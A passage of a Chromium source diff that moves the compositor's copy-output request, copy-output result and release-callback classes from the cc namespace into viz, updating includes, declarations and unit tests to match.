+  auto input = viz::CopyOutputResult::CreateBitmapResult(std::move(bitmap));
   auto size = input->size();
 
   mojom::TraitsTestServicePtr proxy = GetTraitsTestProxy();
-  std::unique_ptr<CopyOutputResult> output;
+  std::unique_ptr<viz::CopyOutputResult> output;
   proxy->EchoCopyOutputResult(std::move(input), &output);
 
   EXPECT_TRUE(output->HasBitmap());
@@ -552,17 +552,17 @@
                             71234838);
   bool is_lost = true;
   base::RunLoop run_loop;
-  auto callback = SingleReleaseCallback::Create(base::Bind(
+  auto callback = viz::SingleReleaseCallback::Create(base::Bind(
       CopyOutputResultCallback, run_loop.QuitClosure(), sync_token, is_lost));
   gpu::Mailbox mailbox;
   mailbox.SetName(mailbox_name);
   viz::TextureMailbox texture_mailbox(mailbox, gpu::SyncToken(), target);
 
-  auto input = CopyOutputResult::CreateTextureResult(size, texture_mailbox,
-                                                     std::move(callback));
+  auto input = viz::CopyOutputResult::CreateTextureResult(size, texture_mailbox,
+                                                          std::move(callback));
 
   mojom::TraitsTestServicePtr proxy = GetTraitsTestProxy();
-  std::unique_ptr<CopyOutputResult> output;
+  std::unique_ptr<viz::CopyOutputResult> output;
   proxy->EchoCopyOutputResult(std::move(input), &output);
 
   EXPECT_FALSE(output->HasBitmap());
@@ -570,7 +570,7 @@
   EXPECT_EQ(size, output->size());
 
   viz::TextureMailbox out_mailbox;
-  std::unique_ptr<SingleReleaseCallback> out_callback;
+  std::unique_ptr<viz::SingleReleaseCallback> out_callback;
   output->TakeTexture(&out_mailbox, &out_callback);
   EXPECT_EQ(mailbox, out_mailbox.mailbox());
   out_callback->Run(sync_token, is_lost);
diff --git a/cc/ipc/texture_mailbox_releaser.mojom b/cc/ipc/texture_mailbox_releaser.mojom
index e3aedadb..3b9ec3c 100644
--- a/cc/ipc/texture_mailbox_releaser.mojom
+++ b/cc/ipc/texture_mailbox_releaser.mojom
@@ -6,7 +6,7 @@
 
 import "gpu/ipc/common/sync_token.mojom";
 
-// This interface behaves similar to ReleaseCallback but works across process
+// This interface behaves similar to viz::ReleaseCallback but works across process
 // boundaries. Once Release is called, it releases the TextureMailbox that it
 // is associated with.
 interface TextureMailboxReleaser {
diff --git a/cc/layers/layer.cc b/cc/layers/layer.cc
index 99b93f9f..aa72c5de 100644
--- a/cc/layers/layer.cc
+++ b/cc/layers/layer.cc
@@ -20,8 +20,6 @@
 #include "cc/layers/layer_client.h"
 #include "cc/layers/layer_impl.h"
 #include "cc/layers/scrollbar_layer_interface.h"
-#include "cc/output/copy_output_request.h"
-#include "cc/output/copy_output_result.h"
 #include "cc/tiles/frame_viewer_instrumentation.h"
 #include "cc/trees/draw_property_utils.h"
 #include "cc/trees/effect_node.h"
@@ -31,6 +29,8 @@
 #include "cc/trees/mutator_host.h"
 #include "cc/trees/scroll_node.h"
 #include "cc/trees/transform_node.h"
+#include "components/viz/common/quads/copy_output_request.h"
+#include "components/viz/common/quads/copy_output_result.h"
 #include "third_party/skia/include/core/SkImageFilter.h"
 #include "ui/gfx/geometry/rect_conversions.h"
 #include "ui/gfx/geometry/vector2d_conversions.h"
@@ -361,15 +361,16 @@
   return false;
 }
 
-void Layer::RequestCopyOfOutput(std::unique_ptr<CopyOutputRequest> request) {
+void Layer::RequestCopyOfOutput(
+    std::unique_ptr<viz::CopyOutputRequest> request) {
   DCHECK(IsPropertyChangeAllowed());
   if (request->has_source()) {
     const base::UnguessableToken& source = request->source();
-    auto it =
-        std::find_if(inputs_.copy_requests.begin(), inputs_.copy_requests.end(),
-                     [&source](const std::unique_ptr<CopyOutputRequest>& x) {
-                       return x->has_source() && x->source() == source;
-                     });
+    auto it = std::find_if(
+        inputs_.copy_requests.begin(), inputs_.copy_requests.end(),
+        [&source](const std::unique_ptr<viz::CopyOutputRequest>& x) {
+          return x->has_source() && x->source() == source;
+        });
     if (it != inputs_.copy_requests.end())
       inputs_.copy_requests.erase(it);
   }
@@ -1223,8 +1224,9 @@
 }
 
 void Layer::TakeCopyRequests(
-    std::vector<std::unique_ptr<CopyOutputRequest>>* requests) {
-  for (std::unique_ptr<CopyOutputRequest>& request : inputs_.copy_requests) {
+    std::vector<std::unique_ptr<viz::CopyOutputRequest>>* requests) {
+  for (std::unique_ptr<viz::CopyOutputRequest>& request :
+       inputs_.copy_requests) {
     // Ensure the result callback is not invoked on the compositing thread.
     if (!request->has_result_task_runner()) {
       request->set_result_task_runner(
diff --git a/cc/layers/layer.h b/cc/layers/layer.h
index e3ba752..1ffddc0 100644
--- a/cc/layers/layer.h
+++ b/cc/layers/layer.h
@@ -44,9 +44,12 @@
 }
 }
 
+namespace viz {
+class CopyOutputRequest;
+}
+
 namespace cc {
 
-class CopyOutputRequest;
 class LayerClient;
 class LayerImpl;
 class LayerTreeHost;
@@ -94,14 +97,14 @@
   // first), then the callback is called with a nullptr/empty result. If the
   // request's source property is set, any prior uncommitted requests having the
   // same source will be aborted.
-  void RequestCopyOfOutput(std::unique_ptr<CopyOutputRequest> request);
+  void RequestCopyOfOutput(std::unique_ptr<viz::CopyOutputRequest> request);
   bool HasCopyRequest() const { return !inputs_.copy_requests.empty(); }
 
   void SetSubtreeHasCopyRequest(bool subtree_has_copy_request);
   bool SubtreeHasCopyRequest() const;
 
   void TakeCopyRequests(
-      std::vector<std::unique_ptr<CopyOutputRequest>>* requests);
+      std::vector<std::unique_ptr<viz::CopyOutputRequest>>* requests);
 
   virtual void SetBackgroundColor(SkColor background_color);
   SkColor background_color() const { return inputs_.background_color; }
@@ -611,7 +614,7 @@
     // The following elements can not and are not serialized.
     LayerClient* client;
     base::Callback<void(const gfx::ScrollOffset&)> did_scroll_callback;
-    std::vector<std::unique_ptr<CopyOutputRequest>> copy_requests;
+    std::vector<std::unique_ptr<viz::CopyOutputRequest>> copy_requests;
 
     ScrollBoundaryBehavior scroll_boundary_behavior;
   };
diff --git a/cc/layers/layer_impl.cc b/cc/layers/layer_impl.cc
index 0fd73cc..0c0ef87 100644
--- a/cc/layers/layer_impl.cc
+++ b/cc/layers/layer_impl.cc
@@ -26,7 +26,6 @@
 #include "cc/input/scroll_state.h"
 #include "cc/layers/layer.h"
 #include "cc/layers/layer_utils.h"
-#include "cc/output/copy_output_request.h"
 #include "cc/quads/debug_border_draw_quad.h"
 #include "cc/quads/render_pass.h"
 #include "cc/trees/clip_node.h"
@@ -40,6 +39,7 @@
 #include "cc/trees/proxy.h"
 #include "cc/trees/scroll_node.h"
 #include "cc/trees/transform_node.h"
+#include "components/viz/common/quads/copy_output_request.h"
 #include "ui/gfx/geometry/box_f.h"
 #include "ui/gfx/geometry/point_conversions.h"
 #include "ui/gfx/geometry/quad_f.h"
diff --git a/cc/layers/layer_impl_test_properties.cc b/cc/layers/layer_impl_test_properties.cc
index faa3f653..800df4d 100644
--- a/cc/layers/layer_impl_test_properties.cc
+++ b/cc/layers/layer_impl_test_properties.cc
@@ -5,8 +5,8 @@
 #include "cc/layers/layer_impl_test_properties.h"
 
 #include "cc/layers/layer_impl.h"
-#include "cc/output/copy_output_request.h"
 #include "cc/trees/layer_tree_impl.h"
+#include "components/viz/common/quads/copy_output_request.h"
 
 namespace cc {
 
diff --git a/cc/layers/layer_impl_test_properties.h b/cc/layers/layer_impl_test_properties.h
index c8fd245..8e418b4d 100644
--- a/cc/layers/layer_impl_test_properties.h
+++ b/cc/layers/layer_impl_test_properties.h
@@ -18,9 +18,12 @@
 #include "ui/gfx/geometry/point3_f.h"
 #include "ui/gfx/transform.h"
 
+namespace viz {
+class CopyOutputRequest;
+}
+
 namespace cc {
 
-class CopyOutputRequest;
 class LayerImpl;
 
 struct CC_EXPORT LayerImplTestProperties {
@@ -53,7 +56,7 @@
   std::unique_ptr<std::set<LayerImpl*>> scroll_children;
   LayerImpl* clip_parent;
   std::unique_ptr<std::set<LayerImpl*>> clip_children;
-  std::vector<std::unique_ptr<CopyOutputRequest>> copy_requests;
+  std::vector<std::unique_ptr<viz::CopyOutputRequest>> copy_requests;
   LayerImplList children;
   LayerImpl* mask_layer;
   LayerImpl* parent;
diff --git a/cc/layers/layer_unittest.cc b/cc/layers/layer_unittest.cc
index 857a69e..5762d14 100644
--- a/cc/layers/layer_unittest.cc
+++ b/cc/layers/layer_unittest.cc
@@ -15,8 +15,6 @@
 #include "cc/input/main_thread_scrolling_reason.h"
 #include "cc/layers/layer_impl.h"
 #include "cc/layers/solid_color_scrollbar_layer.h"
-#include "cc/output/copy_output_request.h"
-#include "cc/output/copy_output_result.h"
 #include "cc/test/animation_test_common.h"
 #include "cc/test/fake_impl_task_runner_provider.h"
 #include "cc/test/fake_layer_tree_host.h"
@@ -30,6 +28,8 @@
 #include "cc/trees/mutable_properties.h"
 #include "cc/trees/single_thread_proxy.h"
 #include "cc/trees/transform_node.h"
+#include "components/viz/common/quads/copy_output_request.h"
+#include "components/viz/common/quads/copy_output_result.h"
 #include "testing/gmock/include/gmock/gmock.h"
 #include "testing/gtest/include/gtest/gtest.h"
 #include "third_party/skia/include/core/SkColor.h"
@@ -1314,7 +1314,7 @@
 }
 
 void ReceiveCopyOutputResult(int* result_count,
-                             std::unique_ptr<CopyOutputResult> result) {
+                             std::unique_ptr<viz::CopyOutputResult> result) {
   ++(*result_count);
 }
 
@@ -1324,11 +1324,12 @@
 
   // Create identical requests without the source being set, and expect the
   // layer does not abort either one.
-  std::unique_ptr<CopyOutputRequest> request = CopyOutputRequest::CreateRequest(
-      base::BindOnce(&ReceiveCopyOutputResult, &result_count));
+  std::unique_ptr<viz::CopyOutputRequest> request =
+      viz::CopyOutputRequest::CreateRequest(
+          base::BindOnce(&ReceiveCopyOutputResult, &result_count));
   layer->RequestCopyOfOutput(std::move(request));
   EXPECT_EQ(0, result_count);
-  request = CopyOutputRequest::CreateRequest(
+  request = viz::CopyOutputRequest::CreateRequest(
       base::BindOnce(&ReceiveCopyOutputResult, &result_count));
   layer->RequestCopyOfOutput(std::move(request));
   EXPECT_EQ(0, result_count);
@@ -1344,27 +1345,27 @@
   // the first request using |kArbitrarySourceId1| aborts immediately when
   // the second request using |kArbitrarySourceId1| is made.
   int did_receive_first_result_from_this_source = 0;
-  request = CopyOutputRequest::CreateRequest(base::BindOnce(
+  request = viz::CopyOutputRequest::CreateRequest(base::BindOnce(
       &ReceiveCopyOutputResult, &did_receive_first_result_from_this_source));
   request->set_source(kArbitrarySourceId1);
   layer->RequestCopyOfOutput(std::move(request));
   EXPECT_EQ(0, did_receive_first_result_from_this_source);
   // Make a request from a different source.
   int did_receive_result_from_different_source = 0;
-  request = CopyOutputRequest::CreateRequest(base::BindOnce(
+  request = viz::CopyOutputRequest::CreateRequest(base::BindOnce(
       &ReceiveCopyOutputResult, &did_receive_result_from_different_source));
   request->set_source(kArbitrarySourceId2);
   layer->RequestCopyOfOutput(std::move(request));
   EXPECT_EQ(0, did_receive_result_from_different_source);
   // Make a request without specifying the source.
   int did_receive_result_from_anonymous_source = 0;
-  request = CopyOutputRequest::CreateRequest(base::BindOnce(
+  request = viz::CopyOutputRequest::CreateRequest(base::BindOnce(
       &ReceiveCopyOutputResult, &did_receive_result_from_anonymous_source));
   layer->RequestCopyOfOutput(std::move(request));
   EXPECT_EQ(0, did_receive_result_from_anonymous_source);
   // Make the second request from |kArbitrarySourceId1|.
   int did_receive_second_result_from_this_source = 0;
-  request = CopyOutputRequest::CreateRequest(base::BindOnce(
+  request = viz::CopyOutputRequest::CreateRequest(base::BindOnce(
       &ReceiveCopyOutputResult, &did_receive_second_result_from_this_source));
   request->set_source(kArbitrarySourceId1);
   layer->RequestCopyOfOutput(
diff --git a/cc/layers/picture_layer_impl.cc b/cc/layers/picture_layer_impl.cc
index 68716472..38945b99 100644
--- a/cc/layers/picture_layer_impl.cc
+++ b/cc/layers/picture_layer_impl.cc
@@ -602,12 +602,6 @@
   bool could_have_tilings = raster_source_.get() && CanHaveTilings();
   raster_source_.swap(raster_source);
 
-  // Only set the image decode controller when we're committing.
-  if (!pending_set) {
-    raster_source_->set_image_decode_cache(
-        layer_tree_impl()->image_decode_cache());
-  }
-
   // The |new_invalidation| must be cleared before updating tilings since they
   // access the invalidation through the PictureLayerTilingClient interface.
   invalidation_.Clear();
@@ -688,10 +682,6 @@
 
 void PictureLayerImpl::RecreateTileResources() {
   tilings_ = CreatePictureLayerTilingSet();
-  if (raster_source_) {
-    raster_source_->set_image_decode_cache(
-        layer_tree_impl()->image_decode_cache());
-  }
 }
 
 Region PictureLayerImpl::GetInvalidationRegionForDebugging() {
diff --git a/cc/layers/texture_layer.cc b/cc/layers/texture_layer.cc
index 71f0553a..d92c3e71 100644
--- a/cc/layers/texture_layer.cc
+++ b/cc/layers/texture_layer.cc
@@ -13,10 +13,10 @@
 #include "cc/base/simple_enclosed_region.h"
 #include "cc/layers/texture_layer_client.h"
 #include "cc/layers/texture_layer_impl.h"
-#include "cc/resources/single_release_callback.h"
 #include "cc/resources/single_release_callback_impl.h"
 #include "cc/trees/blocking_task_runner.h"
 #include "cc/trees/layer_tree_host.h"
+#include "components/viz/common/quads/single_release_callback.h"
 
 namespace cc {
 
@@ -117,7 +117,7 @@
 
 void TextureLayer::SetTextureMailboxInternal(
     const viz::TextureMailbox& mailbox,
-    std::unique_ptr<SingleReleaseCallback> release_callback,
+    std::unique_ptr<viz::SingleReleaseCallback> release_callback,
     bool requires_commit,
     bool allow_mailbox_reuse) {
   DCHECK(!mailbox.IsValid() || !holder_ref_ ||
@@ -147,7 +147,7 @@
 
 void TextureLayer::SetTextureMailbox(
     const viz::TextureMailbox& mailbox,
-    std::unique_ptr<SingleReleaseCallback> release_callback) {
+    std::unique_ptr<viz::SingleReleaseCallback> release_callback) {
   bool requires_commit = true;
   bool allow_mailbox_reuse = false;
   SetTextureMailboxInternal(mailbox, std::move(release_callback),
@@ -184,7 +184,7 @@
   bool updated = Layer::Update();
   if (client_) {
     viz::TextureMailbox mailbox;
-    std::unique_ptr<SingleReleaseCallback> release_callback;
+    std::unique_ptr<viz::SingleReleaseCallback> release_callback;
     if (client_->PrepareTextureMailbox(&mailbox, &release_callback)) {
       // Already within a commit, no need to do another one immediately.
       bool requires_commit = false;
@@ -244,7 +244,7 @@
 
 TextureLayer::TextureMailboxHolder::TextureMailboxHolder(
     const viz::TextureMailbox& mailbox,
-    std::unique_ptr<SingleReleaseCallback> release_callback)
+    std::unique_ptr<viz::SingleReleaseCallback> release_callback)
     : internal_references_(0),
       mailbox_(mailbox),
       release_callback_(std::move(release_callback)),
@@ -258,7 +258,7 @@
 std::unique_ptr<TextureLayer::TextureMailboxHolder::MainThreadReference>
 TextureLayer::TextureMailboxHolder::Create(
     const viz::TextureMailbox& mailbox,
-    std::unique_ptr<SingleReleaseCallback> release_callback) {
+    std::unique_ptr<viz::SingleReleaseCallback> release_callback) {
   return base::MakeUnique<MainThreadReference>(
       new TextureMailboxHolder(mailbox, std::move(release_callback)));
 }
diff --git a/cc/layers/texture_layer.h b/cc/layers/texture_layer.h
index 04c1e1b2..c13f47b 100644
--- a/cc/layers/texture_layer.h
+++ b/cc/layers/texture_layer.h
@@ -19,9 +19,12 @@
 struct SyncToken;
 }
 
+namespace viz {
+class SingleReleaseCallback;
+}
+
 namespace cc {
 class BlockingTaskRunner;
-class SingleReleaseCallback;
 class SingleReleaseCallbackImpl;
 class TextureLayerClient;
 
@@ -45,8 +48,8 @@
     const viz::TextureMailbox& mailbox() const { return mailbox_; }
     void Return(const gpu::SyncToken& sync_token, bool is_lost);
 
-    // Gets a ReleaseCallback that can be called from another thread. Note: the
-    // caller must ensure the callback is called.
+    // Gets a viz::ReleaseCallback that can be called from another thread. Note:
+    // the caller must ensure the callback is called.
     std::unique_ptr<SingleReleaseCallbackImpl> GetCallbackForImplThread();
 
    protected:
@@ -55,7 +58,7 @@
     // Protected visiblity so only TextureLayer and unit tests can create these.
     static std::unique_ptr<MainThreadReference> Create(
         const viz::TextureMailbox& mailbox,
-        std::unique_ptr<SingleReleaseCallback> release_callback);
+        std::unique_ptr<viz::SingleReleaseCallback> release_callback);
     virtual ~TextureMailboxHolder();
 
    private:
@@ -63,7 +66,7 @@
     friend class MainThreadReference;
     explicit TextureMailboxHolder(
         const viz::TextureMailbox& mailbox,
-        std::unique_ptr<SingleReleaseCallback> release_callback);
+        std::unique_ptr<viz::SingleReleaseCallback> release_callback);
 
     void InternalAddRef();
     void InternalRelease();
@@ -76,7 +79,7 @@
     // during commit where the main thread is blocked.
     unsigned internal_references_;
     viz::TextureMailbox mailbox_;
-    std::unique_ptr<SingleReleaseCallback> release_callback_;
+    std::unique_ptr<viz::SingleReleaseCallback> release_callback_;
 
     // This lock guards the sync_token_ and is_lost_ fields because they can be
     // accessed on both the impl and main thread. We do this to ensure that the
@@ -131,7 +134,7 @@
   // Code path for plugins which supply their own mailbox.
   void SetTextureMailbox(
       const viz::TextureMailbox& mailbox,
-      std::unique_ptr<SingleReleaseCallback> release_callback);
+      std::unique_ptr<viz::SingleReleaseCallback> release_callback);
 
   void SetNeedsDisplayRect(const gfx::Rect& dirty_rect) override;
 
@@ -148,7 +151,7 @@
  private:
   void SetTextureMailboxInternal(
       const viz::TextureMailbox& mailbox,
-      std::unique_ptr<SingleReleaseCallback> release_callback,
+      std::unique_ptr<viz::SingleReleaseCallback> release_callback,
       bool requires_commit,
       bool allow_mailbox_reuse);
 
diff --git a/cc/layers/texture_layer_client.h b/cc/layers/texture_layer_client.h
index be96234..fe2bd3b5 100644
--- a/cc/layers/texture_layer_client.h
+++ b/cc/layers/texture_layer_client.h
@@ -5,7 +5,7 @@
 #ifndef CC_LAYERS_TEXTURE_LAYER_CLIENT_H_
 #define CC_LAYERS_TEXTURE_LAYER_CLIENT_H_
 
-#include "cc/resources/single_release_callback.h"
+#include "components/viz/common/quads/single_release_callback.h"
 
 namespace viz {
 class TextureMailbox;
@@ -20,7 +20,7 @@
   // and the old mailbox is to be reused.
   virtual bool PrepareTextureMailbox(
       viz::TextureMailbox* mailbox,
-      std::unique_ptr<SingleReleaseCallback>* release_callback) = 0;
+      std::unique_ptr<viz::SingleReleaseCallback>* release_callback) = 0;
 
  protected:
   virtual ~TextureLayerClient() {}
diff --git a/cc/layers/texture_layer_unittest.cc b/cc/layers/texture_layer_unittest.cc
index 867a306..6bac108 100644
--- a/cc/layers/texture_layer_unittest.cc
+++ b/cc/layers/texture_layer_unittest.cc
@@ -101,7 +101,7 @@
 
   bool PrepareTextureMailbox(
       viz::TextureMailbox* mailbox,
-      std::unique_ptr<SingleReleaseCallback>* release_callback) override {
+      std::unique_ptr<viz::SingleReleaseCallback>* release_callback) override {
     if (!mailbox_changed_)
       return false;
 
@@ -111,8 +111,9 @@
     return true;
   }
 
-  void set_mailbox(const viz::TextureMailbox& mailbox,
-                   std::unique_ptr<SingleReleaseCallback> release_callback) {
+  void set_mailbox(
+      const viz::TextureMailbox& mailbox,
+      std::unique_ptr<viz::SingleReleaseCallback> release_callback) {
     mailbox_ = mailbox;
     release_callback_ = std::move(release_callback);
     mailbox_changed_ = true;
@@ -120,7 +121,7 @@
 
  private:
   viz::TextureMailbox mailbox_;
-  std::unique_ptr<SingleReleaseCallback> release_callback_;
+  std::unique_ptr<viz::SingleReleaseCallback> release_callback_;
   bool mailbox_changed_;
   DISALLOW_COPY_AND_ASSIGN(FakeTextureLayerClient);
 };
@@ -192,9 +193,9 @@
   gpu::Mailbox mailbox_name1_;
   gpu::Mailbox mailbox_name2_;
   MockMailboxCallback mock_callback_;
-  ReleaseCallback release_mailbox1_;
-  ReleaseCallback release_mailbox2_;
-  ReleaseCallback release_mailbox3_;
+  viz::ReleaseCallback release_mailbox1_;
+  viz::ReleaseCallback release_mailbox2_;
+  viz::ReleaseCallback release_mailbox3_;
   ReleaseCallbackImpl release_mailbox1_impl_;
   ReleaseCallbackImpl release_mailbox2_impl_;
   ReleaseCallbackImpl release_mailbox3_impl_;
@@ -293,7 +294,7 @@
   EXPECT_CALL(*layer_tree_host_, SetNeedsCommit()).Times(AtLeast(1));
   test_layer->SetTextureMailbox(
       test_data_.mailbox1_,
-      SingleReleaseCallback::Create(test_data_.release_mailbox1_));
+      viz::SingleReleaseCallback::Create(test_data_.release_mailbox1_));
   Mock::VerifyAndClearExpectations(layer_tree_host_.get());
 
   EXPECT_CALL(*layer_tree_host_, SetNeedsCommit()).Times(AtLeast(1));
@@ -303,7 +304,7 @@
       .Times(1);
   test_layer->SetTextureMailbox(
       test_data_.mailbox2_,
-      SingleReleaseCallback::Create(test_data_.release_mailbox2_));
+      viz::SingleReleaseCallback::Create(test_data_.release_mailbox2_));
   Mock::VerifyAndClearExpectations(layer_tree_host_.get());
   Mock::VerifyAndClearExpectations(&test_data_.mock_callback_);
 
@@ -319,7 +320,7 @@
   EXPECT_CALL(*layer_tree_host_, SetNeedsCommit()).Times(AtLeast(1));
   test_layer->SetTextureMailbox(
       test_data_.mailbox3_,
-      SingleReleaseCallback::Create(test_data_.release_mailbox3_));
+      viz::SingleReleaseCallback::Create(test_data_.release_mailbox3_));
   Mock::VerifyAndClearExpectations(layer_tree_host_.get());
   Mock::VerifyAndClearExpectations(&test_data_.mock_callback_);
 
@@ -335,7 +336,7 @@
   EXPECT_CALL(*layer_tree_host_, SetNeedsCommit()).Times(AtLeast(1));
   test_layer->SetTextureMailbox(
       test_data_.mailbox1_,
-      SingleReleaseCallback::Create(test_data_.release_mailbox1_));
+      viz::SingleReleaseCallback::Create(test_data_.release_mailbox1_));
 }
 
 class TextureLayerMailboxHolderTest : public TextureLayerTest {
@@ -362,7 +363,7 @@
   void CreateMainRef() {
     main_ref_ = TestMailboxHolder::Create(
         test_data_.mailbox1_,
-        SingleReleaseCallback::Create(test_data_.release_mailbox1_));
+        viz::SingleReleaseCallback::Create(test_data_.release_mailbox1_));
   }
 
   void ReleaseMainRef() { main_ref_ = nullptr; }
@@ -730,8 +731,8 @@
 
   void SetMailbox(char mailbox_char) {
     EXPECT_EQ(true, main_thread_.CalledOnValidThread());
-    std::unique_ptr<SingleReleaseCallback> callback =
-        SingleReleaseCallback::Create(base::Bind(
+    std::unique_ptr<viz::SingleReleaseCallback> callback =
+        viz::SingleReleaseCallback::Create(base::Bind(
             &TextureLayerImplWithMailboxThreadedCallback::ReleaseCallback,
             base::Unretained(this), mailbox_char));
     layer_->SetTextureMailbox(
@@ -807,8 +808,8 @@
   void SetMailbox(char mailbox_char) {
     const gpu::SyncToken sync_token =
         SyncTokenFromUInt(static_cast<uint32_t>(mailbox_char));
-    std::unique_ptr<SingleReleaseCallback> callback =
-        SingleReleaseCallback::Create(base::Bind(
+    std::unique_ptr<viz::SingleReleaseCallback> callback =
+        viz::SingleReleaseCallback::Create(base::Bind(
             &TextureLayerMailboxIsActivatedDuringCommit::ReleaseCallback,
             base::Unretained(this), sync_token));
     layer_->SetTextureMailbox(viz::TextureMailbox(MailboxFromChar(mailbox_char),
@@ -1091,7 +1092,7 @@
   // TextureLayerClient implementation.
   bool PrepareTextureMailbox(
       viz::TextureMailbox* texture_mailbox,
-      std::unique_ptr<SingleReleaseCallback>* release_callback) override {
+      std::unique_ptr<viz::SingleReleaseCallback>* release_callback) override {
     if (layer_tree_host()->SourceFrameNumber() == 1) {
       // Once this has been committed, the mailbox will be released.
       *texture_mailbox = viz::TextureMailbox();
@@ -1100,7 +1101,7 @@
 
     *texture_mailbox = viz::TextureMailbox(
         MailboxFromChar('1'), SyncTokenFromUInt(0x123), GL_TEXTURE_2D);
-    *release_callback = SingleReleaseCallback::Create(
+    *release_callback = viz::SingleReleaseCallback::Create(
         base::Bind(&TextureLayerNoExtraCommitForMailboxTest::MailboxReleased,
                    base::Unretained(this)));
     return true;
@@ -1169,12 +1170,12 @@
   // TextureLayerClient implementation.
   bool PrepareTextureMailbox(
       viz::TextureMailbox* mailbox,
-      std::unique_ptr<SingleReleaseCallback>* release_callback) override {
+      std::unique_ptr<viz::SingleReleaseCallback>* release_callback) override {
     ++prepare_called_;
     if (!mailbox_changed_)
       return false;
     *mailbox = mailbox_;
-    *release_callback = SingleReleaseCallback::Create(
+    *release_callback = viz::SingleReleaseCallback::Create(
         base::Bind(&TextureLayerChangeInvisibleMailboxTest::MailboxReleased,
                    base::Unretained(this)));
     return true;
@@ -1288,10 +1289,10 @@
   // TextureLayerClient implementation.
   bool PrepareTextureMailbox(
       viz::TextureMailbox* mailbox,
-      std::unique_ptr<SingleReleaseCallback>* release_callback) override {
+      std::unique_ptr<viz::SingleReleaseCallback>* release_callback) override {
     *mailbox = viz::TextureMailbox(MailboxFromChar('1'), SyncTokenFromUInt(1),
                                    GL_TEXTURE_2D);
-    *release_callback = SingleReleaseCallback::Create(
+    *release_callback = viz::SingleReleaseCallback::Create(
         base::Bind(&TextureLayerReleaseResourcesBase::MailboxReleased,
                    base::Unretained(this)));
     return true;
@@ -1362,8 +1363,8 @@
 
   void SetMailbox(char mailbox_char) {
     EXPECT_EQ(true, main_thread_.CalledOnValidThread());
-    std::unique_ptr<SingleReleaseCallback> callback =
-        SingleReleaseCallback::Create(base::Bind(
+    std::unique_ptr<viz::SingleReleaseCallback> callback =
+        viz::SingleReleaseCallback::Create(base::Bind(
             &TextureLayerWithMailboxMainThreadDeleted::ReleaseCallback,
             base::Unretained(this)));
     layer_->SetTextureMailbox(
@@ -1433,8 +1434,8 @@
 
   void SetMailbox(char mailbox_char) {
     EXPECT_EQ(true, main_thread_.CalledOnValidThread());
-    std::unique_ptr<SingleReleaseCallback> callback =
-        SingleReleaseCallback::Create(base::Bind(
+    std::unique_ptr<viz::SingleReleaseCallback> callback =
+        viz::SingleReleaseCallback::Create(base::Bind(
             &TextureLayerWithMailboxImplThreadDeleted::ReleaseCallback,
             base::Unretained(this)));
     layer_->SetTextureMailbox(
diff --git a/cc/output/direct_renderer.cc b/cc/output/direct_renderer.cc
index 04fa72ed..3dba198 100644
--- a/cc/output/direct_renderer.cc
+++ b/cc/output/direct_renderer.cc
@@ -16,10 +16,10 @@
 #include "cc/base/math_util.h"
 #include "cc/output/bsp_tree.h"
 #include "cc/output/bsp_walk_action.h"
-#include "cc/output/copy_output_request.h"
 #include "cc/quads/draw_quad.h"
 #include "cc/resources/scoped_resource.h"
 #include "components/viz/common/display/renderer_settings.h"
+#include "components/viz/common/quads/copy_output_request.h"
 #include "ui/gfx/geometry/quad_f.h"
 #include "ui/gfx/geometry/rect_conversions.h"
 #include "ui/gfx/transform.h"
diff --git a/cc/output/direct_renderer.h b/cc/output/direct_renderer.h
index 161bf0d..b387439 100644
--- a/cc/output/direct_renderer.h
+++ b/cc/output/direct_renderer.h
@@ -173,7 +173,7 @@
   virtual void EnsureScissorTestDisabled() = 0;
   virtual void DidChangeVisibility() = 0;
   virtual void CopyCurrentRenderPassToBitmap(
-      std::unique_ptr<CopyOutputRequest> request) = 0;
+      std::unique_ptr<viz::CopyOutputRequest> request) = 0;
   virtual void SetEnableDCLayers(bool enable) = 0;
 
   gfx::Size surface_size_for_swap_buffers() const {
diff --git a/cc/output/gl_renderer.cc b/cc/output/gl_renderer.cc
index 5c0451f0..153342d 100644
--- a/cc/output/gl_renderer.cc
+++ b/cc/output/gl_renderer.cc
@@ -31,7 +31,6 @@
 #include "cc/debug/debug_colors.h"
 #include "cc/output/compositor_frame.h"
 #include "cc/output/compositor_frame_metadata.h"
-#include "cc/output/copy_output_request.h"
 #include "cc/output/dynamic_geometry_binding.h"
 #include "cc/output/layer_quad.h"
 #include "cc/output/output_surface.h"
@@ -48,6 +47,7 @@
 #include "cc/resources/scoped_resource.h"
 #include "components/viz/common/display/renderer_settings.h"
 #include "components/viz/common/gpu/context_provider.h"
+#include "components/viz/common/quads/copy_output_request.h"
 #include "gpu/GLES2/gl2extchromium.h"
 #include "gpu/command_buffer/client/context_support.h"
 #include "gpu/command_buffer/client/gles2_interface.h"
@@ -293,7 +293,7 @@
 struct GLRenderer::PendingAsyncReadPixels {
   PendingAsyncReadPixels() : buffer(0) {}
 
-  std::unique_ptr<CopyOutputRequest> copy_request;
+  std::unique_ptr<viz::CopyOutputRequest> copy_request;
   unsigned buffer;
 
  private:
@@ -2602,7 +2602,7 @@
 }
 
 void GLRenderer::CopyCurrentRenderPassToBitmap(
-    std::unique_ptr<CopyOutputRequest> request) {
+    std::unique_ptr<viz::CopyOutputRequest> request) {
   TRACE_EVENT0("cc", "GLRenderer::CopyCurrentRenderPassToBitmap");
   gfx::Rect copy_rect = current_frame()->current_render_pass->output_rect;
   if (request->has_area())
@@ -2791,7 +2791,7 @@
 
 void GLRenderer::GetFramebufferPixelsAsync(
     const gfx::Rect& rect,
-    std::unique_ptr<CopyOutputRequest> request) {
+    std::unique_ptr<viz::CopyOutputRequest> request) {
   DCHECK(!request->IsEmpty());
   if (request->IsEmpty())
     return;
@@ -2845,7 +2845,7 @@
 
     viz::TextureMailbox texture_mailbox(mailbox, sync_token, GL_TEXTURE_2D);
 
-    std::unique_ptr<SingleReleaseCallback> release_callback;
+    std::unique_ptr<viz::SingleReleaseCallback> release_callback;
     if (own_mailbox) {
       gl_->BindTexture(GL_TEXTURE_2D, 0);
       release_callback = texture_mailbox_deleter_->GetReleaseCallback(
diff --git a/cc/output/gl_renderer.h b/cc/output/gl_renderer.h
index 55772d5..6bcaa1c0 100644
--- a/cc/output/gl_renderer.h
+++ b/cc/output/gl_renderer.h
@@ -73,8 +73,9 @@
     return shared_geometry_.get();
   }
 
-  void GetFramebufferPixelsAsync(const gfx::Rect& rect,
-                                 std::unique_ptr<CopyOutputRequest> request);
+  void GetFramebufferPixelsAsync(
+      const gfx::Rect& rect,
+      std::unique_ptr<viz::CopyOutputRequest> request);
   void GetFramebufferTexture(unsigned texture_id,
                              const gfx::Rect& device_rect);
   void ReleaseRenderPassTextures();
@@ -101,7 +102,7 @@
